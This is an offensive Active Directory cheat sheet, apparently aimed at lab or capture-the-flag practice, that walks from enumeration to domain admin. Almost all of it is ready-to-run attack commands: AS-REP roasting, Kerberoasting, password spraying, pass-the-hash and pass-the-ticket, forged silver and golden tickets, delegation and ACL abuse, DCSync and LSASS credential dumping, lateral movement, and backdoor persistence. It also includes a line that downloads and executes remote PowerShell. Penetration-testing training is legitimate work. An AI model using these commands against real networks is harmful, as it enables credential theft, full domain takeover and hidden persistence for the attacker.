Active Directory Cheat Sheet

From initial foothold to domain admin — every AD attack technique you need.

Enumeration

LDAP Enumeration

# Anonymous LDAP bind
ldapsearch -x -H ldap://DC_IP -b "dc=domain,dc=htb"

# Authenticated LDAP
ldapsearch -x -H ldap://DC_IP -D "[email protected]" -w 'password' -b "dc=domain,dc=htb"

# Find all users
ldapsearch -x -H ldap://DC_IP -D "[email protected]" -w 'pass' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccountName

# Find all computers
ldapsearch -x -H ldap://DC_IP -D "[email protected]" -w 'pass' -b "dc=domain,dc=htb" "(objectClass=computer)" name

# Find domain admins
ldapsearch -x -H ldap://DC_IP -D "[email protected]" -w 'pass' -b "dc=domain,dc=htb" "(&(objectClass=group)(cn=Domain Admins))" member

# ldapdomaindump (pretty HTML/JSON output)
ldapdomaindump -u 'domain\user' -p 'password' DC_IP -o ldap_dump/

# windapsearch
windapsearch -d domain.htb --dc DC_IP -u [email protected] -p pass --da
windapsearch -d domain.htb --dc DC_IP -u [email protected] -p pass --users --full

BloodHound

# Collect data (Python — from Linux)
bloodhound-python -u user -p 'password' -d domain.htb -ns DC_IP -c all
bloodhound-python -u user -p 'password' -d domain.htb -ns DC_IP -c all --zip

# Collect data (SharpHound — from Windows)
.\SharpHound.exe -c all
.\SharpHound.exe -c all --domain domain.htb --ldapusername user --ldappassword pass

# Import into BloodHound GUI → upload JSON/ZIP files

# Key queries:
# - "Shortest Paths to Domain Admins"
# - "Find AS-REP Roastable Users"
# - "Find Kerberoastable Users"
# - "Shortest Paths to Unconstrained Delegation Systems"
# - "Find Principals with DCSync Rights"

PowerView (Windows)

# Import
Import-Module .\PowerView.ps1
# Or: IEX(IWR http://LHOST/PowerView.ps1 -UseBasicParsing)

# Domain info
Get-Domain
Get-DomainController
Get-DomainPolicy

# Users
Get-DomainUser | Select samaccountname,description
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname    # Kerberoastable
Get-DomainUser -PreauthNotRequired | Select samaccountname          # AS-REP Roastable

# Groups
Get-DomainGroup | Select name
Get-DomainGroupMember "Domain Admins"

# Computers
Get-DomainComputer | Select name,operatingsystem

# Shares
Find-DomainShare -CheckShareAccess

# ACLs
Get-DomainObjectAcl -Identity "target_user" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteOwner|WriteDacl"}

# Find local admin access
Find-LocalAdminAccess

CrackMapExec / NetExec

# Enumerate SMB
crackmapexec smb DC_IP -u user -p pass
crackmapexec smb DC_IP -u user -p pass --shares
crackmapexec smb DC_IP -u user -p pass --users
crackmapexec smb DC_IP -u user -p pass --groups

# Enumerate entire subnet
crackmapexec smb 10.10.10.0/24 -u user -p pass

# Check for local admin
crackmapexec smb DC_IP -u user -p pass --local-auth

AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication" enabled.

# Find and roast (no creds needed — just need valid usernames)
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP -format hashcat

# With valid creds (auto-finds vuln users)
impacket-GetNPUsers domain.htb/user:password -dc-ip DC_IP -request

# From Windows
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=rockyou.txt

Kerberoasting

Request service tickets for accounts with SPNs, crack offline.

# From Linux (needs valid domain creds)
impacket-GetUserSPNs domain.htb/user:password -dc-ip DC_IP -request
impacket-GetUserSPNs domain.htb/user:password -dc-ip DC_IP -request -outputfile kerberoast.txt

# From Windows
Rubeus.exe kerberoast /outfile:kerberoast.txt
# Or PowerView:
Invoke-Kerberoast | Export-Csv .\kerberoast.csv

# Crack
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
john kerberoast.txt --wordlist=rockyou.txt

Password Spraying

# CrackMapExec (careful — lockout policy!)
crackmapexec smb DC_IP -u users.txt -p 'Password1' --continue-on-success
crackmapexec smb DC_IP -u users.txt -p 'Autumn2024!' --continue-on-success

# kerbrute (faster, less detection)
kerbrute passwordspray -d domain.htb --dc DC_IP users.txt 'Password1'

# Check lockout policy first
crackmapexec smb DC_IP -u user -p pass --pass-pol
# Or: net accounts /domain

# Common passwords to try:
# Season+Year (Winter2024!, Summer2024!, Autumn2024!)
# Company+Number (Company1, Company123)
# Password1, Welcome1, P@ssw0rd

Pass-the-Hash

Use NTLM hash instead of password for authentication.

# CrackMapExec
crackmapexec smb DC_IP -u administrator -H NTLM_HASH
crackmapexec smb DC_IP -u administrator -H NTLM_HASH -x 'whoami'
crackmapexec winrm DC_IP -u administrator -H NTLM_HASH

# Impacket tools
impacket-psexec domain.htb/administrator@DC_IP -hashes :NTLM_HASH
impacket-wmiexec domain.htb/administrator@DC_IP -hashes :NTLM_HASH
impacket-smbexec domain.htb/administrator@DC_IP -hashes :NTLM_HASH
impacket-atexec domain.htb/administrator@DC_IP -hashes :NTLM_HASH 'whoami'

# evil-winrm
evil-winrm -i DC_IP -u administrator -H NTLM_HASH

# xfreerdp
xfreerdp /u:administrator /pth:NTLM_HASH /v:DC_IP /cert:ignore

# Mimikatz (Windows)
sekurlsa::pth /user:administrator /domain:domain.htb /ntlm:HASH

Pass-the-Ticket

# Export tickets (Mimikatz)
sekurlsa::tickets /export

# Import ticket
kerberos::ptt ticket.kirbi

# From Linux with .ccache files
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec domain.htb/user@target -k -no-pass
impacket-smbclient domain.htb/user@target -k -no-pass

# Rubeus
Rubeus.exe ptt /ticket:ticket.kirbi
Rubeus.exe dump       # Dump current tickets

Silver Ticket

Forge a TGS for a specific service using the service account's NTLM hash.

# Need: service account NTLM hash, domain SID, SPN
# Get domain SID:
impacket-lookupsid domain.htb/user:pass@DC_IP

# Impacket
impacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain domain.htb -spn CIFS/target.domain.htb administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec domain.htb/administrator@target -k -no-pass

# Mimikatz
kerberos::golden /sid:S-1-5-21-... /domain:domain.htb /target:target.domain.htb /service:CIFS /rc4:SERVICE_HASH /user:administrator /ptt

Golden Ticket

Forge a TGT using the krbtgt hash — unlimited domain admin access.

# Need: krbtgt NTLM hash (from DCSync), domain SID

# Impacket
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain domain.htb administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec domain.htb/administrator@DC -k -no-pass

# Mimikatz
kerberos::golden /user:administrator /domain:domain.htb /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt

# Verify
klist
dir \\DC\C$

Delegation Attacks

Unconstrained Delegation

# Find unconstrained delegation machines
impacket-findDelegation domain.htb/user:pass -dc-ip DC_IP
# PowerView: Get-DomainComputer -Unconstrained

# Coerce auth (PetitPotam / PrinterBug)
python3 PetitPotam.py LISTENER_IP DC_IP
# Capture TGT with Rubeus monitor or krbrelayx
Rubeus.exe monitor /interval:5 /filteruser:DC$

# Import captured ticket → DCSync

Constrained Delegation

# Find constrained delegation
impacket-findDelegation domain.htb/user:pass -dc-ip DC_IP
# Look for: msds-allowedtodelegateto

# S4U attack (impersonate admin to target service)
impacket-getST -spn CIFS/target.domain.htb -impersonate administrator domain.htb/service_user:password -dc-ip DC_IP
export KRB5CCNAME=administrator@[email protected]
impacket-psexec domain.htb/administrator@target -k -no-pass

Resource-Based Constrained Delegation (RBCD)

# Need: GenericWrite/GenericAll on target computer object
# Add fake computer
impacket-addcomputer domain.htb/user:pass -computer-name FAKE$ -computer-pass Passw0rd -dc-ip DC_IP

# Set RBCD
impacket-rbcd domain.htb/user:pass -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write

# Get ticket
impacket-getST -spn CIFS/target.domain.htb -impersonate administrator domain.htb/FAKE$:Passw0rd -dc-ip DC_IP
export KRB5CCNAME=administrator.ccache
impacket-psexec domain.htb/[email protected] -k -no-pass

ACL Abuse

# GenericAll on user → reset password
net rpc password "target_user" "NewPass123" -U 'domain.htb/user%pass' -S DC_IP
# Or: impacket-changepasswd

# GenericAll on group → add member
net rpc group addmem "Domain Admins" "user" -U 'domain.htb/user%pass' -S DC_IP

# GenericWrite → set SPN (targeted Kerberoasting)
# Set SPN on user, kerberoast them, crack hash

# WriteDACL → grant yourself DCSync rights
impacket-dacledit domain.htb/user:pass -action write -rights DCSync -principal user -target-dn "DC=domain,DC=htb" -dc-ip DC_IP

# WriteOwner → take ownership, then WriteDACL
impacket-owneredit domain.htb/user:pass -action write -new-owner user -target target_object -dc-ip DC_IP

# ForceChangePassword
impacket-changepasswd domain.htb/target_user:oldpass@DC_IP -newpass NewPass123
rpcclient -U 'user%pass' DC_IP -c 'setuserinfo2 target_user 23 "NewPass123"'

DCSync

Replicate domain controller data — dump all password hashes.

# Need: Replicating Directory Changes + Replicating Directory Changes All
# (Domain Admins, Enterprise Admins, or DCSync-granted principal)

# Dump all hashes
impacket-secretsdump domain.htb/administrator:pass@DC_IP
impacket-secretsdump domain.htb/administrator@DC_IP -hashes :NTLM_HASH

# Dump specific user
impacket-secretsdump domain.htb/administrator:pass@DC_IP -just-dc-user krbtgt
impacket-secretsdump domain.htb/administrator:pass@DC_IP -just-dc-user administrator

# Mimikatz
lsadump::dcsync /domain:domain.htb /user:administrator
lsadump::dcsync /domain:domain.htb /user:krbtgt
lsadump::dcsync /domain:domain.htb /all /csv

Lateral Movement

# PSExec (creates service, very noisy)
impacket-psexec domain.htb/admin:pass@target
impacket-psexec domain.htb/admin@target -hashes :HASH

# WMIExec (stealthier, no service creation)
impacket-wmiexec domain.htb/admin:pass@target
impacket-wmiexec domain.htb/admin@target -hashes :HASH

# SMBExec (semi-interactive via SMB)
impacket-smbexec domain.htb/admin:pass@target

# WinRM
evil-winrm -i target -u admin -p 'password'
evil-winrm -i target -u admin -H HASH

# ATExec (scheduled task)
impacket-atexec domain.htb/admin:pass@target 'whoami'

# CrackMapExec spray
crackmapexec smb 10.10.10.0/24 -u admin -p pass -x 'whoami'
crackmapexec smb 10.10.10.0/24 -u admin -H HASH --local-auth

Persistence

# Golden Ticket (krbtgt hash → forge any TGT)
# See Golden Ticket section above

# Skeleton Key (Mimikatz on DC — adds backdoor password)
misc::skeleton
# Now ANY account can auth with password: mimikatz

# AdminSDHolder — hidden admin persistence
# Add user to AdminSDHolder ACL → auto-propagated to protected groups

# DCSync persistence
# Grant DCSync rights to a controlled user
impacket-dacledit domain.htb/admin:pass -action write -rights DCSync -principal backdoor_user -target-dn "DC=domain,DC=htb" -dc-ip DC_IP

# Machine account persistence
# Create machine account → grant it privileges

Useful One-Liners

# Get domain name from DC
crackmapexec smb DC_IP

# Quick user enum (no creds)
kerbrute userenum -d domain.htb --dc DC_IP users.txt

# Find all domain controllers
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.htb DC_IP

# Enumerate users via RPC (null session)
rpcclient -U '' -N DC_IP -c 'enumdomusers'

# Check if creds are valid
crackmapexec smb DC_IP -u user -p pass

# Check local admin access across network
crackmapexec smb 10.10.10.0/24 -u user -p pass

# Dump LSASS remotely
crackmapexec smb target -u admin -p pass -M lsassy

# Get machine account quota
crackmapexec ldap DC_IP -u user -p pass -M maq

# Find SPNs
impacket-GetUserSPNs domain.htb/user:pass -dc-ip DC_IP

# Password in description field
ldapsearch -x -H ldap://DC_IP -D "[email protected]" -w 'pass' -b "dc=domain,dc=htb" "(description=*pass*)" sAMAccountName description